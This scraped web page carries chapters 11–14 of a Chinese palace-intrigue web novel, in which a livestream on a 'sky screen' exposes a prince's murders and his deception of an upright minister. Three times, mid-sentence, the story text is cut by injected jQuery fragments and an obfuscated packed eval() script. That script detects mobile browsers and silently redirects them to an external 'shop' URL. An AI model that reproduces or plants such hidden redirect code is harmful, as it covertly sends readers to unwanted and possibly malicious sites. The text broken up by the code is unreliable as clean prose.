$(''.inform'').remove(); $(''#content'').append('' 何处理这个舒娴薇,可现在,她不用烦恼了,因为殷文已经心狠手辣地灭了口。 而此刻,后宫中的许多宫女、太监们,也都正仰头看着天幕上的直播。 对于舒娴薇这一生的经历,不少人都忍不住在心中叹息了一声,心头无法克制地涌出一股兔死狐悲、物伤其类的酸楚。 天幕上的直播间里,柳三柒嘴角这时勾起了一抹充满鄙夷的笑: “咱们之前网上流行的一句话,真的很符合殷文,那就是‘宁愿相信世上有鬼,也不要相信男人那张嘴’!” “在舒娴薇溺水自尽以后,殷文却并没有遵照他对舒娴薇许下的承诺,放过舒娴薇的双亲,相反,他甚至还打算斩草除根,连舒娴薇的双亲也一起给灭口了!” “在殷文看来,杀两个被自己软禁起来的老人,简直是手拿把掐再简单不过的事情。” “然而,偏偏就是在这一环节,出了岔子!” “原先,舒娴薇的双亲被殷文叫人给软禁在一处隐蔽的胡同小院里,殷文觉得自己的动作很谨慎,应该没人能察觉到他们这对老夫妻的下落。” “可就在殷文派去的杀手打算对舒娴薇她爹娘下狠手时,却突然冲出来了另一伙人,将舒娴薇她爹娘给救走了。” “殷文对这个突然发生的变故,自然是震怒不已,觉得自己竟然被人在不知不觉中给监视上了。不过,想到舒娴薇她爹娘从头到尾什么都不知道,他心中就又放下了几分忐忑。” “而在那之后,殷文更是处心积虑,想要查出到底是谁救走了舒娴薇的爹娘。” “然而,直到殷文因为起兵造反而被靖明帝给判处死刑时,他都没能知道这个事情的真相。” “当然,咱们这些后世人,现在肯定就知道,那是靖武帝她派人去救的舒娴薇爹娘。” 因为柳三柒这是在直播,天幕上并没有显示她说话内容的字幕,所以大家也都没有察觉到柳三柒口中的此她非彼他。 然而,在柳三柒话音刚落时,坤宁宫中却是突然“砰”的一声,施清媛原本握在手中的茶杯,失手摔碎在了地上。 许皇后被茶杯摔落在地的声音吓了一跳,她下意识看向施清媛。 当注意到施清媛此刻脸上表情罕见地有些愕然时,她以为施清媛也是被茶杯吓到了,便朝她开口安慰道: “没事的,施老师,我让人来把这些碎渣收拾掉就行了。” 施清媛:“……” 施清媛目光极其复杂地看向殷宁,因为她知道,舒娴薇的爹娘,此刻就藏在殷宁位于京郊外的一座园子里。 这一刻,连施清媛都被自己心中冒出的那一个猜测,给惊到心脏狂跳不止,呼吸都变得多了几分急促。 她觉得自己这个猜测,实在是太过惊世骇俗。 天幕上提及的传奇圣君靖武帝,竟然是一位女帝? 施清媛觉得如果有外人知道她此刻心中的猜想,绝大多数人估计都会怀疑她是不是神智出了问题。 可是,施清媛心中又突然有一阵强烈预感,她觉得自己的这个猜测,很可能并非无稽之谈。 因为,和殷宁拥有十年师生情谊的她,深刻地清楚,自己这个学生到底有多天资卓绝。 她之前甚至无数次在心中惋惜过,觉得可惜殷宁不是男儿身,不然的话,必能成就一番丰功伟业。 11. 第 11 章 BY:晋江·丸二缘 “母后,舒娴薇她爹娘,如今就被安置在我京郊外的园子里。” 突然听到殷宁开口说出这么一句话,许皇后惊得瞬间睁圆了双眸,她声音充满着惊喜朝殷宁说道: “这么说来,宁儿你岂不是知道靖武帝究竟是谁?” 许皇后以为殷宁是受靖武帝所托,帮忙收留了舒娴薇她爹娘。 一想到殷宁很可能和靖武帝交好,许皇后心中就已经不由替殷宁感到一阵欣喜。 所以,还没等到殷宁回答她提出的问题,她就已经忍不住兴奋地朝殷宁猜测道: “宁儿,你跟母后说说,那靖武帝究竟是谁呀?难道是殷沐吗?” 许皇后口中的殷沐,是靖明帝的第四儿子,往日里和殷宁的关系还算可以。 许皇后越想越觉得应该就是殷沐没跑了,她嗓音里充满着感慨,朝殷宁和施清媛说道: “真是打死我都没想到呀!殷沐平日里看起来那么惫懒一人,原来竟然是在扮猪吃老虎!果然这后宫之中,就没有一个人是可以小瞧的!” 殷宁怎么样都没想到,她母后竟然会是这么一个脑回路反应。 她抬头和施清媛对视了一眼,师徒俩人下一秒都无奈地笑出了声来。 殷宁和施清媛这无言但又默契的反应,自然是看得许皇后一阵疑惑。 许皇后不解地看向殷宁,说道:“怎么了,我刚才难道猜错人了吗?” 许皇后感觉有些奇怪,因为除了殷沐这个四皇子外,她想不出其他皇子之中,还有谁是和殷宁关系好到能让殷宁出手帮忙的程度。 因为许皇后闹出的这一番误会,殷宁原本还有些激动的情绪,此刻都重新变得平和了下来。 她笑着看向许皇后,说道:“母后,和五哥他没关系,舒娴薇她爹娘是我在宫外的下属们给救下来的!” 殷宁前几天就已经通过自己在宫外的消息渠道,追查到了舒娴薇她爹娘的存在。 她原本是想将这两个老人当作线索,看看能不能查出软禁他们的背后势力到底是谁。 可她安排在那边暗中监视的人,昨天下午却突然发现,竟然有几个蒙面人试图动手杀害那对老夫妻及那小院中的两个看守下人。 那几个蒙面人先是快速解决了两个毫无防备的下人,但在试图对老夫妻动手时,却遭遇到了老夫妻俩人的激烈抵抗。 也正是因着老夫妻俩人的坚持,殷宁的下属们这才能够及时赶过来,与那几个蒙面人展开厮杀。 后来,因为察觉到巡捕们即将到来,几个蒙面人这才不得不迅速撤离。 而殷宁的下属们也同样不想和官府正面打交道,所以在带上那对老夫妻后,就跟着迅速转移了地方。 因为此刻坤宁宫里只有殷宁、许皇后和施清媛她们三人,殷宁就将昨天发生的事情,都一五一十地说给了许皇后听。 许皇后虽然从前就知道殷宁有在宫外折腾一些事情,但因为殷宁没有和她详细提过,所以她一直以来,都以为殷宁也就是小打小闹,并没有成太大气候。 可如今,听着从殷宁口中说出的这些话语,她心中不由掀起了一阵阵波澜。 “母后,你不知道,殷文派去的那几个杀手,下手可狠辣了,刀刀都是冲着人身上的要害地方,我有两个下属现在就正躺床上养伤呢!” 殷宁说这话时,脸上神情很是恼火。 但许皇后却听得一阵懵,觉得殷宁是不是抓错什么重点了,现在是在意那两个人受伤的时候吗? 许皇后并没有忘记柳三柒刚才在天幕上说过的话。 柳三柒明确表示,说舒娴薇的爹娘是靖武帝派人救下来的。 而现在,殷宁说她救下了靖武帝的爹娘。 那这不就代表着,靖武帝很可能就是殷宁?! 许皇后直接被自己推理出来的这个结果给冲击懵了。 她整个人当场楞在了原地。 殷宁看到许皇后这副被刺激大发的模样,也不打扰她,而是让她先默默缓冲和消化这个事情。 对于自己可能是靖武帝这件事,殷宁心中当然也感到很是意外。 可她转念一想,又觉得自己没必要那么意外。 毕竟,她又不比她那些便宜哥哥差到哪里去,甚至可以说是比他们还优秀。 那凭什么她那些便宜哥哥有资格当皇帝,而她却不能呢? 殷宁之前没有夺嫡这个想法,是觉得反正自己有保命能力,而且太子又是和她同胞的亲哥,只要她不造反,基本就不可能会亏待她这个亲妹。 可如果,要是她在未来真能够登基为皇的话,那她当然不可能将属于她的皇位拱手让给旁人。 再说了,她也不能让,因为任何一个对皇位有野心的人,都绝对会将她殷宁视为必须铲除的眼中钉和肉中刺。 金銮殿外,对于柳三柒刚才透露出来的靖武帝线索,靖明帝自然也迅速就捕捉到了。 他当即就眼神冰冷地看向殷文,开口问道:“那个名叫舒娴薇的妾室还活着吗?” 殷文低头瑟缩了一下脖子,不敢吱声。 靖明帝一看到他这如同缩头乌龟般的反应,当即就明白了。 “那她爹娘呢?也已经被人给救走了?” 殷文此刻面如土色地跪在靖明帝跟前。 听到靖明帝再次询问,他声音颤抖地试图讨好靖明帝: “父、父皇英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491288|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,儿臣……” “废物!” 靖明帝直接一声厉喝,打断了殷文的话。 他此刻对于殷文后面要说的内容,半点都没有兴趣,甚至连看都懒得再看殷文一眼。 他直接目光审视地看向自己另外那三个儿子。 原先,他对宫外这几天正在流传的那个消息,还不是那么上心,可如今,他却觉得靖武帝说不定还真的并非皇孙,而是皇子。 殷睿那4个儿子如今都羽翼未丰,就算是年纪最大的殷晨,也不过才15岁而已,根本不可能有那么大的能耐。 但若是他那另外三个儿子,这些事情就显得合理许多了。 此刻,文武百官都在,靖明帝并不打算立刻就向四皇子、五皇子和七皇子出声询问。 他认为,等到这次天幕结束以后,他应该能够等到主动找上门来坦诚身份的靖武帝。 不得不说,当察觉到靖武帝可能是自己儿子以后,靖明帝心中其实是微松了口气。 他无法确定自己之后是否还会像天幕上所说的那样,只剩大概三四年的寿命可活。 所以,在他看来,若是靖武帝的年龄能够稍微年长些,那肯定是更有利于未来朝局的稳定。 而即使是年纪最小的七皇子,如今也已经19岁,并且娶妻生子,是个大人模样了。 天幕上,柳三柒姿态轻松地背靠着电竞椅,她看着镜头说道: “聊完殷文毒杀他那太子大哥的事后,咱们接下来就扒一扒殷文他起兵造反的” “宝子们,不得不说,殷文这家伙,真就是个彻头彻尾的卑鄙小人!” “三柒我之所以这么说,不仅是因为他毒杀他那太子大哥的行为,还更是因为他将陆少衡给骗上了贼船,害得陆少衡这位一生为国为民、清正高洁的寒门宰相,最终却晚节不保,因参与谋反而被靖明帝给责令自缢!” 天幕下,无论是靖明帝,还是文武百官们,听到陆少衡竟然掺和进了殷文起兵造反的事,大家脸上表情瞬间都是一片错愕和不可思议。 而让大家之所以如此震惊的原因,就正如柳三柒在天幕上所说的那样,陆少衡实在不像是会参与造反的那类野心臣子。 满朝文武都清楚,在如今朝堂上的5位宰相之中,唯有陆少衡是真正出身贫寒的农家子弟。 陆少衡今日能够身居高位、官至宰相,全都是凭借他自己卓越非凡的才华和多年来出色斐然的政绩。 更让大家对其充满敬佩的,是即使陆少衡如今已经位极人臣,但他也依然深知民间疾苦,行事作风极其清廉自守。 大家想不明白,这样的陆少衡,怎么会如此想不开,竟然参与进了谋反这么要命的事情?! 12. 第 12 章 BY:晋江·丸二缘 靖明帝刚才听到殷文这个儿子会在未来起兵造反时,他心中更多的情绪是愤怒,但却并没有太多的意外。 因为他很明白,权势动人心,殷文会为了皇位而造反,那太正常不过了。 但是,听到陆少衡竟然会陪着殷文一起造反,靖明帝的心中,霎时间竟然有些不是滋味。 陆少衡当年高中状元时,靖明帝那会还只是太子,他对于陆少衡表现出来的才华极其欣赏。 等看到陆少衡竟然自请外调,主动向朝廷表示说愿意从地方小官做起,他更是觉得陆少衡和其他汲汲营营的官员截然不同。 而更让他感到惊喜的是,陆少衡去到地方以后,却并没有就此沉寂下去,反而是勤政务实,政绩显著。 利民之事,丝发必兴;厉民之事,毫末必去。* 正是因为陆少衡励精图治,廉洁奉公,所以他临一邑则富一邑,治一域则兴一域,深受民间百姓的赞誉和爱戴。 在今天之前,靖明帝一直都坚信,自己可以在史书上和陆少衡成就一段君臣相得的佳话。 可他没想到,他和陆少衡的这一段君臣关系,结尾竟然是这样丑陋难堪的结局。 靖明帝想不明白,自己到底有哪里对不住陆少衡,陆少衡竟然会为了殷文这个逆子来造他的反?! 早在刚才,柳三柒在天幕上提及陆少衡时,陆少衡这位须发尽白的老臣,就已经神情平静地摘下官帽,双膝跪伏,以额触地。 靖明帝方才面对殷文痛哭流涕的下跪模样时,还能提起心思开口痛骂殷文,借此发泄心中的怒火。 可如今,看着陆少衡这位老臣不言不语的沉默模样,他一时之间,竟不知道该说什么是好。 现场的气氛格外凝滞,朝臣们没有一个人敢在此时开口,所以,柳三柒从天幕上传来的声音,听得自然也就更加清晰无比了。 “一门双状元,父子皆宰相。现在咱们一提到陆少衡宰相,大家都很容易联想到他是陆安民宰相的爹。” “但有个很少人知道的事情,那就是陆少衡宰相的大儿子陆济世,其实也同样是状元。” “而且,在很多年里,大靖朝当时的很多人,是只知道陆少衡有陆济世这么一个麒麟子,却并不知道陆安民。” “史书上关于陆济世的记载,虽然寥寥无几,但却是极尽赞美之词,‘姿仪如玉,敏而好学,才高惊世,所遇之人,皆心悦而诚服也’,从这简单的几句话,相信宝子们就已经能够感受到,陆济世其人格魅力有多么巨大。” “在陆安民宰相年迈致仕后撰写的回忆录中,他甚至还提过一嘴,说他哥年轻时,颇受京中士女爱慕,她们甚至还私下替陆济世起了‘玉面陆郎’这样的雅称。” 天幕下,不少已为人妇的后院女子,听到柳三柒提起“玉面陆郎”这样久违的称呼时,脸上神情都怔楞了一下。 随即,回忆起年少时那段无忧无虑的少女时光,她们脸上又不禁泛起了一抹怀念的淡笑。 “虽说历史没有如果,但假如陆济世没有英年早逝的话,那么陆家很可能会是一门三相,因为陆济世在20岁高中状元以后,也和他爹陆少衡年轻时一样,主动申请外放,在地方上兴利除弊,廉明善政,施惠于民,显然又是一个治世能臣。” “当时,京中人人都认为,等到陆济世被调任回京时,势必会得到靖明帝的重用。” “然而,世事难料,就在陆济世29岁那年,也就是他担任苏州府吴县县令时,他却骤然因病而亡。” “官当得好不好,老百姓心中自有一把秤。根据吴县的县志记载,当陆济世的灵柩要经由水路运回山东老家安葬时,吴县百姓纷纷奔赴哭奠,悲痛不已,如哭私亲,泣不成声。” 天幕下,吴县。 虽然距离陆济世的去世已经过去了6年的时光,但听到柳三柒在天幕上提起陆济世,吴县百姓们还是依然对他记忆深刻。 有个满头白发的老妇人,此刻正抱着自己小孙女坐在家门前晒太阳。 小孙女一脸不解地朝老妇人问道:“奶奶,天幕上说的这个陆济世,是不是你和爹娘他们说过的那个陆大人啊?” 老妇人惋惜地叹了口气:“就是他,陆大人是个好官啊,老婆子我活了这么一大把岁数,就没碰到过像他那么好的官。你爹当年被人冤枉坐牢,全是靠陆大人明察秋毫,这才被毫发无伤地放了出来。陆大人他是咱们全家的救命恩人啊!” 小女孩还是头一回知道这件事,她拧着眉不满地说道:“那老天爷真是坏,怎么可以让好人就这么病死了呢?” 老妇人无奈地苦笑了一下:“是啊,老天爷有时候确实是不长眼。” 天幕上,柳三柒语气中充满感慨: “连毫无血缘关系的百姓,都因为陆济世的去世而如此伤心,我们不用猜也知道,陆济世的家人们,当时自然更是悲痛无比。” “当然,相信听到这里时,肯定会有宝子在心里感到疑惑,觉得三柒我刚才不是还在说陆少衡参与造反的事吗,怎么现在一直在提陆济世这个人的事情?” “三柒我并不是聊跑题了,事实上,正是因为陆济世的死,所以才导致了陆少衡选择加入殷文的阵营。” “没错,相信大家现在也都已经猜到了,陆济世的死并不是一个纯粹的意外,而是有心人特意谋害。” “原本,陆少衡他们都并不知道这个事情,但那个对陆济世下毒的书童,却以良心过意不去为理由,选择向陆少衡他们坦诚自己毒害了陆济世的情况。” “按照那个书童所言,他之所以向陆济世下毒,主要是因为陆济世手中掌握到了苏州知府刘佑锦贪腐的证据,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491289|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且打算向靖明帝密奏弹劾刘佑锦。” “所以,刘佑锦在得知消息后,为保住自己的荣华富贵和身家性命,就安排他的女婿薛明志收买了书童,并且将毒药给到书童,让书童暗中在陆济世的茶水中下药,以此制造出陆济世是因病身亡的假象。” 天幕下,听到这里时,靖明帝忍不住闭了一下眼。 此刻,他心中甚至生出了一种想要转身逃避的冲动。 “作为陆济世的父亲,陆少衡在得知儿子身亡的真相以后,自然不可能就这样让儿子含冤而死,于是,他很快就进宫找到靖明帝,将事情都说给了靖明帝知道,并且希望靖明帝能够依法严惩刘佑锦!” “然而,因为刘佑锦是殷睿这个二皇子的岳父,殷睿自然不可能眼睁睁看着自己的岳父锒铛入狱。” “所以,殷睿火速进宫帮刘佑锦向靖明帝求了情,用尽各种理由想要帮刘佑锦开脱罪名。再加上靖明帝当时不愿意打破朝堂上各皇子的势力平衡,因此他最终并没有将案件搬到明面上公然审判,只是解除了刘佑锦的苏州知府官职,让刘佑锦称病致仕,希望就这样将大事化小,小事化了。” “而对于靖明帝这样的处理结果,陆少衡心中当然无法接受,毕竟这样实在是太便宜了刘佑锦,根本就没有给刘佑锦带来应有的惩罚。” 天幕下,坤宁宫中,许皇后此刻直接冷哼了一声。 对于靖明帝这样和稀泥的做法,她实在是太熟悉了,毕竟殷宁之前说想要调查太子的死因时,靖明帝就是这样一个态度。 许皇后望向殷宁,无语地吐槽说道:“你父皇这一辈子,老是想着平衡来平衡去,结果最终就是什么都不平衡!陆大人造反这事,最大的错误就在你父皇身上!” 殷宁闻言,不由也赞同地点了点头,不过,她觉得陆济世身亡这事,显然还有不少猫腻存在。 殷宁眼神探究地看向天幕上的柳三柒,她觉得柳三柒应该很快就会给出答案。 直播间里,柳三柒望着镜头,继续说道: “正是在陆少衡心中大受打击之时,殷文悄悄向陆少衡伸出了橄榄枝,希望陆少衡这位寒门宰相能站到他这边的阵营,帮助他夺嫡成功。” “原先,陆少衡只想做个为民办事的纯臣,根本就没打算掺和进几个皇子的阵营斗争之中,但为了替枉死的陆济世讨回公道,陆少衡选择加入了殷文这个三皇子的势力之中。” “就连我们的陆安民宰相,当时也是一门心思只想为哥报仇,于是答应成为了殷文膝下独子的授课老师。” “然而,他们父子这番举动,反而是正好踏进了殷文处心积虑为他们安排的陷阱,错把仇人当成了恩人!” “历史上,直到陆少衡死前的最后一刻,他都还一直被殷文这个卑鄙小人给蒙在鼓里,不知道殷文才是真正害死他儿子的凶手!” 13. 第 13 章 天幕下,殷文府邸,书房。 听到柳三柒说殷文才是害死自己哥哥陆济世的真正凶手时,陆安民忍不住眼神冰冷地看向了站在他对面的殷辉。 就在半小时前,陆安民还将殷辉视为自己的第一个弟子,甚至希望自己能够将殷辉培养成才。 可是,此刻,陆安民只觉得自己极其愚蠢和可笑,竟然将仇人的儿子视为了自己的学生。 陆安民眼神中的愤怒和恨意极其明显,殷辉望着陆安民,他的小胖脸上不由浮现出了几分对陆安民的恐惧和防备。 窗户外,天幕上,柳三柒这时在直播间里继续说道: “原先,刘佑锦在得知陆济世打算弹劾自己这个苏州知府时,他还顾忌着陆少衡的存在,不敢对陆济世起杀心,只是想买通陆济世,让陆济世不要对他那么较真。” “然而,刘佑锦的女婿薛明志却是极力劝说刘佑锦,让刘佑锦务必杀人灭口,以绝后患。同时,薛明志还向刘佑锦打包票,说自己保证可以将这事给办得天衣无缝,不会让任何人怀疑到刘佑锦的头上来。” “听到这里,应该有宝子已经猜到,这个刘佑锦的女婿薛明志,咱们靖厉帝殷睿的连襟,他其实是殷文这个三皇子那边阵营的人!” “薛明志正是因为听从殷文的吩咐,所以才千方百计想要谋害陆济世,希望借机挑拨陆少衡和殷睿的关系。” “至于那个向陆少衡他们告密的书童,其实也同样是殷文的安排。” “殷文正是通过这一连串阴险狡诈的动作,一步步将想要为子报仇的陆少衡逼上了他的贼船。” “而在殷文起兵造反失败后,陆少衡他们这些参与其中的人,自然是逃不过靖明帝的严惩。” “三柒我有时候觉得,靖明帝这人其实真的让人挺爱恨交加!” “如果靖明帝之前在陆少衡进宫告状时,愿意把刘佑锦给立刻处理了,那陆少衡也不至于会站到殷文那边的阵营中。但他在得知陆少衡之所以参与造反,只是因为殷文答应说会在登基以后,立刻依法严惩刘佑锦及其帮凶,暴怒的他,却又忍不住对陆少衡这个老臣心软了。” “历史上,参与殷文这次谋反的其他大臣,一个个都被靖明帝下令满门抄斩。就算是殷文这个亲儿子,靖明帝也没有手软,直接阖府上下全都判处死刑。” “但对于陆少衡,靖明帝却只是赐了三尺白绫,让他在狱中自行了断。此外,陆家原本被关押在牢中的其他人,也全都被靖明帝给释放了出来。” “作为一个帝王而言,靖明帝能够这样对待参与造反的陆少衡,可以看出他对待陆少衡这位老臣的情感,确实是有他内心柔软的那一面。” 天幕下,听到柳三柒说靖明帝竟然放了陆家其余的人,一直沉默跪在地上的陆少衡,嘴唇不禁颤动了一下。 他深呼吸了一口气,平复下心中波澜的情绪后,神情平静地朝靖明帝开口道: “陛下,微臣昏聩无能,为宵小奸人所愚弄,以致欺君蠹国,上负圣恩,下愧黎民!微臣自知罪不容诛,无颜苟活于世,乞请陛下赐臣一死,以正朝纲!” 陆少衡说罢后,态度虔恭地朝靖明帝再次俯身稽首,以额叩砖,长拜不起。 靖明帝目光低垂,俯视着陆少衡那弯曲的脊背。 陆少衡的身形看起来很瘦弱,但靖明帝却觉得,眼前这人的骨头,比这朝堂上的任何一个人都硬。 别人求生,偏他求死。 靖明帝一双黑眸似寒潭般深幽,他沉默地看着陆少衡,陆少衡也似雕塑般纹丝不动。 谁也不知道这一对君臣此刻心中在想什么。 大家只知道,当靖明帝再一次开口时,他向袁文这个太监总管下令道,让袁文带人把殷文拉下去杖责五十大板。 殷文听到五十大板如今严苛的惩罚时,心中简直是悲愤无比,甚至很想质问靖明帝,到底谁才是他的儿子?! 人怎么可以偏心到这种程度?! 殷文知道自己之后铁定是小命不保了,但他没想到,在他这所剩不多的时日里,靖明帝这个当爹的,竟然都不愿意让他日子好过一些。 而靖明帝在下令杖责殷文之后,又吩咐御前侍卫,让他们立刻去将刘佑锦和薛明志这对翁婿给抓捕回来。 显然,对于陆济世被害这件事,靖明帝如今是打算重新搬到台面上来处理了。 陆少衡能够以褐衣芒履之身,逐渐走到今日这个宰辅位置,其心智自然聪慧过人。 所以,在听到靖明帝颁布的这一个个命令后,一直努力抑制心中情绪的他,还是忍不住红了眼眶。 因为他等这一天,已经等了很久了,他就想替他儿子讨回一个应得的公道而已。 “三柒我有时候真是会忍不住觉得,冥冥之中,是否自有天意!” “因为如果不是靖明帝对陆家手下留情,那大靖朝从此也就会失去陆安民这样一位善于变水害为水利的治水宰相!” “三柒我当年读高中时,在我们的历史课本上,对于陆安民治水的能力,就有着‘安民治河,富民于河’这样的高度赞誉。” “但在陆少衡去世的那个时候,咱们的陆安民宰相,却是身上连个童生功名都没有的平头老百姓!” “陆安民宰相当时连一次科举考试都没有参加过,对于他才华有所了解的人,可以说是少之又少。” “所以,在陆家人都离开京师,返回山东老家以后,朝堂上所有的人都认定曾经一门双状元的陆家,从此以后就要黯淡没落了。” “虽然靖明帝并没有剥夺陆家人的科举资格,但无论是在靖明帝执政末期,还是靖厉帝当权的那几年,陆安民宰相都没有参加过一次科举考试。” “三柒我个人觉得,假如后面不是碰到靖武帝开始执政,那陆安民宰相说不定一辈子都不会出仕。” “而翻阅陆安民宰相晚年的回忆录,咱们可以从中得知,他当时对于他大哥陆济世的案子,虽然心中依然不服,却也已经死了继续追究的心思。因为他父亲陆少衡在临死前,特意给他写了一封遗书,口吻极其强硬地要求他以后过好自己的生活就行,不得再继续心存报仇雪恨的心思。” “面对父亲在遗书中的叮嘱,陆安民即使心中不情愿,也依然只能顺服。” “而在那个时候,陆安民还依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491290|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不知道实际的真相情况。” “殷文临死前并没有将真相公之于众,而且他与薛明志有往来的事情也一直没有被暴露出来。所以,等到殷睿这个靖厉帝登基以后,薛明志甚至凭借自己和殷睿的连襟关系,鸡犬升天,官职接连得到迅速提升。” 天牢里,殷睿此刻可以借助一个狭小窗户,看到天幕上的内容。 打从刚才得知自己从前毫无防备的连襟薛明志,竟然是殷文那边的人,他就气得暴跳如雷,一直在对殷文破口大骂。 负责看押他的狱卒,虽然这几天早就习惯他的暴戾脾气,但此刻还是被他吵到忍不住翻了个白眼。 天幕上,柳三柒这时嘴角微微勾起一抹笑: “如果大靖朝一直都是由殷睿执政的话,那薛明志说不定还可以将自己支持过殷文的事情隐瞒上一辈子,但偏偏,靖武帝上台掌权了,而且她偏偏还是那种眼里揉不得沙子,对贪腐极其深恶痛绝的性格。” “薛明志这样骄纵跋扈的贪官污吏,自然很快就成为了咱们靖武帝大大的整治对象。” “也正是在追查薛明志贪赃枉法的这个过程中,靖武帝意外发现了薛明志从前竟然私下和殷文这个三皇子交往甚密,再一抽丝剥茧,于是,陆济世当年被害的真相这才彻底水落石出。” “如果是靖明帝那样的皇帝,他碰到这样的情况,估计就是装聋作哑,觉得多一事不如少一事,毕竟这事真说起来,也有损皇家名声。” “但对靖武帝有所了解的宝子,肯定都知道咱们靖武帝向来为人坦荡荡,做事只求问心无愧。” “所以,靖武帝很快就将陆安民宰相给召进宫中,并且将这一切的真相向他全盘托出。” “可能有宝子听到这里时,会觉得靖武帝是不是其实没必要做这事,毕竟殷文这个罪魁祸首当时都已经死多少年了。靖武帝再重新翻出这个旧案,不仅没办法改变什么,甚至还会再掀开一次陆家的伤疤。” “但在这个世界上,总有人宁愿清醒而痛苦地活着,也不愿沉溺在糊涂和麻木之中。” “陆安民宰相,就是类似这样的人,他自己在写给友人的信中,就曾经明确提及过,说他这辈子最感激的一件事,就是靖武帝愿意将他哥被害的真相告知给他知道。他在得知真相的最开始时,确实是感觉极其痛苦和崩溃,因为他们父子竟然错信了殷文这个仇人,甚至他父亲陆少衡还因为殷文而死,可是,即使如此,他也还是更希望自己能够知道真相,而不是一辈子都被仇人的阴谋蒙在鼓里。” 天幕下,殷文府邸,书房。 陆安民看着此刻已经趁机躲到太监身后的殷辉,他嘴角勾起了一抹轻蔑的笑。 殷辉看到陆安民这个反应,长满肥肉的脸上更是闪过了几分恐惧。 陆安民此刻手中正握着一把青玉嵌铜裁纸刀。 如果是从前,殷辉不会害怕这把裁纸刀,因为这是陆安民之前收他为弟子时,特意送给他的礼物。 但此刻,注意到那锋利的刀刃上闪过一抹森然寒光时,殷辉吓得忍不住吞咽了下喉咙,恨不能自己可以当即拔腿就逃,但又担心陆安民会从身后偷袭攻击他。 14. 第 14 章 BY:晋江·丸二缘 “以你的聪慧,你应该能看得出,我拿这裁纸刀是想做什么吧?” 听到陆安民嗓音冰冷地朝自己抛出这个问题,殷辉吓得小腿忍不住打颤,他声音发抖地朝陆安民劝道: “先生,您别冲动,您还有大好的未来,您何必在此犯错呢?而且,我从头到尾都不知道我父亲做过的那些事,我是无辜的!” “那我大哥呢,他难道不无辜吗?”陆安民忍不住攥紧了手中的裁纸刀,刀柄上嵌着的玉石硌得他手心生疼,“我大哥他也是无辜的,但你父亲却还是杀了他!” 看到陆安民竟然不接受自己的理由,一副要让自己父债子偿的态度,殷辉眼底深处不由闪过了几分对陆安民的恨意。 但他面上却不敢流露出自己对陆安民的憎恨情绪,相反,他甚至摆出一副很是可怜的祈求模样: “先生,您放过我吧,我替我父亲向您道歉!我真的不想死,我今年才12岁,我……啊啊啊!!” 殷辉话还没说完,就已经被吓到闭眼疯狂尖叫。 因为就在刚才,陆安民手腕骤然一甩,手中握着的裁纸刀瞬间似银蛇般破空而去,倏忽就到了殷辉的面前。 殷辉甚至感觉自己听到了刀锋撕裂空气的尖锐呼啸声。 “滴答滴答”,听到水滴清晰落在地上的声音,殷辉脑中的第一反应是狂喜,因为他还活着。 但下一瞬,他就愤怒尴尬到满脸涨红,因为他意识到自己竟然被陆安民给吓尿了。 殷辉羞愤地睁开双眼,立刻就注意到了书案后陆安民那张年轻的脸上尽是讥讽鄙夷之色。 刹那间,殷辉心中更是恨极了陆安民。 他咬紧牙关,正打算开口让身前的太监去拿下此刻手无寸铁的陆安民时,“啪嗒”一声,陡然从身后响起的声响,吓得殷辉再次厉声尖叫了起来。 陆安民看着殷辉那如小丑般的可笑模样,忍不住轻蔑地冷笑了一声。 刚才一直被殷辉拉在身前当挡箭牌的那个太监,看到陆安民这反应,他试探地转头看了一眼,然后就看到了一幅被拦腰截断的幽静山溪画,画卷的上半部分还挂在墙上,下半部分却是掉落在了地上。 至于陆安民刚才扔出的那把裁纸刀,刀刃则正好穿过画作断裂的位置,径直入壁。 殷辉此刻也看到了那幅从中间不偏不倚被断开的山溪画。 “从今往后,你我师生,正如此画,一刀两断,恩断义绝!” 陆安民说完这话后,也不想再多看殷辉一眼,直接就迈开腿朝书房门口走去。 殷辉看着他走出书房的利落背影,眼神中不仅没有半分不舍,甚至是充满了憎恨。 殷辉觉得,陆安民刚才是存心用那裁纸刀吓他,想要看他出糗和丢人。 而对于殷辉此刻的感受如何,陆安民自然是毫不在意。 他此时心中只是很感谢天幕上的柳三柒,让他能够比原来的历史上提前那么早知道他哥的真相,同时也将殷文的丑恶嘴脸公布给了世人知晓。 陆安民不认为,经过今天柳三柒在天幕上的这一番言论,殷文之后还能重新回到这府中来。 这府中的下人们,显然也都意识到了情况的严重性。 陆安民从书房走到大门的一路上,入目所及,皆是惶惶不安的模样。 而当他抬腿迈出府邸大门时,天幕上的柳三柒则正在介绍说道: 